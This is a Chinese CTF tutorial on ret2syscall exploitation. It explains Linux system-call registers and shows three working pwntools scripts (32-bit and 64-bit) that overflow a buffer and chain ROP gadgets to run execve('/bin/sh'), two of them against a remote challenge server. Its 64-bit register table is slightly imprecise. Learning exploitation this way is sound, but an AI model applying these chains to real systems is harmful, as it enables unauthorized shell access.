Ret2syscall,即控制程序执行系统调用,获取 shell。
主要还是要理解系统调用的原理:
既然是执行系统调用,在这里就大概记录一下Linux系统下的系统调用,Linux的系统调用通过int 80h
来实现,用系统调用号来区分入口函数,操作系统实现系统调用的基本过程是:
系统调用号
存入 EAX
,然后通过中断调用使系统进入内核态返回值存入 EAX
,返回到中断处理函数应用程序调用系统调用的过程是:
EAX
寄存器:
寄存器执行顺序 | |
---|---|
32位 | eax->ebx->ecx->edx |
64位 | rdi->rsi->rdx->rcx->r8->r9 |
32位执行时
eax
的参数为系统调用号
ebx
指向/bin/sh
的地址 ecx
参数为0 edx
参数也应该为0
即为execve("/bin/sh",NULL,NULL)
拖进32位IDA分析程序,看到有/bin/sh的gadgets,就使用execve
如果程序中不存在/bin/sh,就调用read函数将/bin/sh写入bss段,然后在使用execve
然后就开始通过ROPgadgets找各个寄存器和int 0x80
的地址
ROPgadget –binary ./rop –only ‘pop|ret’|grep ‘eax’
ROPgadget –binary ./rop –only ‘pop|ret’|grep ‘ebx’
ROPgadget –binary ./rop –only ‘int’
写exp的思路是先将系统调用函数execve
传入eax
系统号是11,所以参数为0xb
将/bin/sh
作为参数传给ebx
ecx,edx
的参数都为null。然后指向int 0x80
地址
exp:
from pwn import *
sh = process("./rop")
eax_addr = 0x080bb196
edx_ecx_ebx_addr = 0x0806eb90
bin_addr = 0x080be408
int_addr = 0x08049421
payload = 'a' * 112
payload += p32(eax_addr)
payload += p32(0xb)
payload += p32(edx_ecx_ebx_addr)
payload += p32(0)
payload += p32(0)
payload += p32(bin_addr)
payload += p32(int_addr)
sh.sendline(payload)
sh.interactive()
关于32位的系统函数调用号
介绍一下关于read()函数
read(int fd,void*buf,size_t count) fd:是文件描述符,为0 buf:为读出数据的缓冲区 count:每次读取的字节数
查看程序,发现没有/bin/sh
所以我们要自己将/bin/sh
写入bss
数据段。
构造payload:
eax
要传入的参数为0x3
/bin/sh
先找到eax,ebx,ecx,edx以及int 0x80
的地址eax
参数为read()函数系统调用号0x3
,在edx,ecx,ebx
传入相对应的read()函数参数(使用命令readelf -S 文件名
查看bss段地址)eax ebx ecx edx
进行填充,这次使用execve(),执行read()函数在内存地址中读取到的值,即/bin/sh\x00
int 0x80
的地址exp:
#encoding:utf-8
from pwn import *
#sh = process('./ret2sys')
sh = remote('120.79.17.251',10005)
eax_addr = 0x080bb2c6
edx_ecx_ebx_addr = 0x0806ecb0
bss_addr = 0x080ea060
int_addr = 0x0806F350
#调用系统函数read
payload = 'a' * 44
payload += p32(eax_addr)
payload += p32(0x3)
payload += p32(edx_ecx_ebx_addr)
payload += p32(0x10)
payload += p32(bss_addr)
payload += p32(0)
payload += p32(int_addr)
#调用系统函数execve
payload += p32(eax_addr)
payload += p32(0xb)
payload += p32(edx_ecx_ebx_addr)
payload += p32(0)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(int_addr)
#发送payload进行溢出
sh.sendline(payload)
#sleep(1)
sh.recvuntil('Nh..')
bin_sh = "/bin/sh\x00"
sh.sendline(bin_sh)
sh.interactive()
关于64位函数调用号可以在w22师傅的博客上学习。
和32位的就不同之处
int 0x80
64位是syscall retn
找到所需要的寄存器
然后找一个可用的bss段,还有sys retn的地址
bss地址:0X00000000006c2158
sys retn:0x000000000045bac5
然后构造exp
from pwn import *
#sh = process('./ret2sys_64')
sh = remote('120.79.17.251',10006)
pop_rax = 0x000000000046b9f8
pop_rdx_rsi = 0x00000000004377f9
pop_rdi = 0x00000000004016c3
bss = 0X00000000006c2158
sys_ret = 0x000000000045bac5
payload = 'a'*88
payload += p64(pop_rax)
payload += p64(0x0)
payload += p64(pop_rdx_rsi)
payload += p64(0x10)
payload += p64(bss)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(sys_ret)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdx_rsi)
payload += p64(0) + p64(0)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(sys_ret)
sh.sendline(payload)
sh.recvuntil('Nh..\n')
bin_sh = '/bin/sh\x00'
sh.sendline(bin_sh)
sh.interactive()
偏有宸机 师傅的文章写的很好,受益匪浅 。例题均由宸机师傅提供。